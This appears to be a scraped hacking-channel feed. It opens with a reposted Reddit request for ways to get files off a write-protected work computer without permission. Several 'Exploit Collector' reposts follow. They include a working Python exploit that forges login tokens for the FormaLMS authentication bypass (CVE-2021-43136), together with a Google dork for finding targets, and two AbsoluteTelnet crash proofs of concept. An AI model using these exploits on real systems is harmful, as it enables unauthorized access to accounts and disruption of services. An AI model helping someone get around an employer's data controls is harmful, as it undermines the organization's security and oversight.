Hacking Articles Tips Tricks Videos Tutorials

How to get a text file from a computer that has writing protection...

hacking: security in practice
How to get a text file from a computer that has writing protection enabled?

I sometimes use my work computer to do some outside work during down time. I only use .txt files. Recently they put some kind of writing protection on all the computers. The security-approved USBs that they issued now only work to copy from the USB to computer, not the other way around. Phones don't connect and DVDs are not recognized. The computer is not connected to the internet. I can use a photo text extractor and just photograph the document, but it has some errors. Ultimately I could also bring my personal laptop and do it, but I would rather not, if possible.

So the question is- how can I get that text file out?

What I've tried:

• connecting the work-issued USB stick : I can open it, I can copy documents from it, but when I try to copy to it/rename/whatever, a window pops up asking for permission ("Destination Folder Access Denied - You need to confirm this operation" and I need to enter the admin username and password if I press continue)

• connecting a phone via cable: this used to work since it wasn't technically an USB. Now it shows the phone but when I double click it says no permission to access device and it won't open

• burning to a CD: it used to work, but now it says "could not find any recorders that support recording"

Any ideas? I found this article - https://www.windowscentral.com/how-enable-write-protection-usb-devices-windows-10 and maybe I can do it in reverse, IF this is how they did it. But if not, I am at a loss.

Any thoughts? Thanks!

submitted by /u/AgressivePurple
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

I sometimes use my work computer to do some outside work during down time. I only use .txt files. Recently they put some kind of writing...

5 viewsedited 18:03

3 views18:31

3 views18:31

Exploit Collector
FormaLMS 2.4.4 Authentication Bypass

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
FormaLMS versions 2.4.4 and below suffer from an authentication bypass vulnerability.

MD5 | 2b3e4ad97facc1c98739b4b6cc6e66e2

Download

# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
# Google Dork: inurl:index.php?r=adm/
# Date: 2021-11-10
# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
# Vendor Homepage: https://formalms.org
# Software Link:  https://formalms.org
# Version: <=
# Tested on: Linux
# CVE : CVE-2021-43136

# Info: An authentication bypass issue in FormaLMS <=

# Analysis:
https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/

# Nuclei template:
https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml

#!/usr/bin/env python

"""

The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled

"""

import sys
import time
import hashlib

secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c" 

def help():

print(f"Usage: {sys.argv[0]} username target_url")

sys.exit()
if len(sys.argv) < 3:

help()

user, url = (sys.argv[1], sys.argv[2])
t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")
token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

FormaLMS 2.4.4 Authentication Bypass

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 18:31

4 views18:31

Exploit Collector
Microsoft Windows WSAQuerySocketSecurity AppContainer Privilege Escalation

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
The WSAQuerySocketSecurity API returns full anonymous impersonation tokens for connected peers in an AppContainer leading to a sandbox escape.

MD5 | ade1ded7ab08f8d11cd681665642d7ea

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Microsoft Windows WSAQuerySocketSecurity AppContainer Privilege Escalation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 18:31

Exploit Collector
Apache HTTP Server 2.4.50 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Apache HTTP Server 2.4.50 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 18:31

4 views18:32

5 views18:32

Exploit Collector
AbsoluteTelnet 11.24 Denial Of Service

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png
AbsoluteTelnet version 11.24 suffers from multiple denial of service vulnerabilities.

MD5 | c4916606f4a527de1d97ff6c1c0f4553

Download

# Exploit Title: AbsoluteTelnet 11.24 - 'Phone' Denial of Service (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-10
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe
# Tested Version: 11.24
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: AbsoluteTelnet 11.24 - 'DialUp/Phone' & license name Denial of Service (PoC)

# Steps to reproduce:
# 1. - Download and install AbsoluteTelnet
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open AbsoluteTelnet 11.24
# 4. - "new connection file -> DialUp Connection
# 5. - Paste the characters of txt file to "DialUp  -> phone" 
# 6. - press "ok" button
# 7. - Crashed
# 8. - Reopen AbsoluteTelnet 11.24
# 9. - Copy the same characters to "license name"
# 10.- Click "Send Error Report" button
# 11.- Crashed

#!/usr/bin/python

exploit = 'A' * 1000

try: 
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")
------

# Exploit Title: AbsoluteTelnet 11.24 - 'Username' Denial of Service (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-10
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe
# Tested Version: 11.24
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: AbsoluteTelnet 11.24 - 'SHA1/SHA2/Username' and 'Error Report' Denial of Service (PoC)

# Steps to reproduce:
# 1. - Download and install AbsoluteTelnet
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open AbsoluteTelnet 11.24
# 4. - "new connection file -> Connection -> SSH1 & SSH2" 
# 5. - Paste the characters of txt file to "Authentication -> Username" 
# 6. - press "ok" button
# 7. - Crashed
# 8. - Reopen AbsoluteTelnet 11.24
# 9. - Copy the same characters to "Your Email Address (optional)"
# 10.- Click "Send Error Report" button
# 11.- Crashed
#!/usr/bin/python

exploit = 'A' * 1000

try: 
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video